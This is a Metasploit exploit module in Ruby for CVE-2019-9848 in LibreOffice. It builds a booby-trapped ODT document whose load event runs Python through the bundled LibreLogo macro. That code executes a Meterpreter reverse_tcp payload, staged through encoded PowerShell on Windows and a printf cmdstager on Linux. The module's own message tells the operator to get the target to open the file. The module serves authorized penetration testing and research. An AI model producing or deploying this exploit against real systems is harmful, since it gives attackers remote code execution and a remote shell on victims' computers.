##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreOffice Macro Python Code Execution',
      'Description'    => %q{
        LibreOffice comes bundled with sample macros written in Python and
        allows the ability to bind program events to them.

        LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.

        This module generates an ODT file with a dom loaded event that,
        when triggered, will execute arbitrary python code and the metasploit payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Nils Emmerich',    # Vulnerability discovery and PoC
        'Shelby Pace',      # Based on this module (exploiting CVE-2018-16858)
        'LoadLow'           # This msf module
      ],
      'References'     =>
        [
          [ 'CVE', '2019-9848' ],
          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
        ],
     'Platform'       => [ 'win', 'linux' ],
     'Arch'           => [ ARCH_X86, ARCH_X64 ],
     'Targets'        =>
        [
          [
            'Windows',
            {
              'Platform'        =>  'win',
              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
              'Payload'         =>  'windows/meterpreter/reverse_tcp',
              'DefaultOptions'  =>  { 'PrependMigrate'  =>  true }
            }
          ],
          [
            'Linux',
            {
              'Platform'        =>  'linux',
              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
              'Payload'         =>  'linux/x86/meterpreter/reverse_tcp',
              'DefaultOptions'  =>  { 'PrependFork' =>  true },
              'CmdStagerFlavor' =>  'printf',
            }
          ]
        ],
      'DisclosureDate'  =>  "2019-07-16",
      'DefaultTarget'   =>  0
    ))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
      OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
    ])
  end

  def encode_cmd
    @cmd = Rex::Text.html_encode(@cmd)
    @cmd = @cmd.gsub("&#x41;", "\\x41")
  end

  def gen_windows_cmd
    opts =
    {
      :remove_comspec       =>  true,
      :method               =>  'reflection',
      :encode_final_payload =>  true
    }
    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
  end

  def gen_linux_cmd
    @cmd = generate_cmdstager.first
    @cmd = @cmd.gsub!("\\", "\\\\\\")
    @cmd = @cmd.gsub!("'", "\"")
  end

  def gen_file()
    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
    encode_cmd

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())

    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")

    libre_file
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
  end

  def exploit
    if target.name == 'Windows'
      gen_windows_cmd
    elsif target.name == 'Linux'
      gen_linux_cmd
    else
      fail_with(Failure::BadConfig, 'A formal target was not chosen.')
    end
    fodt_file = gen_file

    file_create(fodt_file)
  end
end
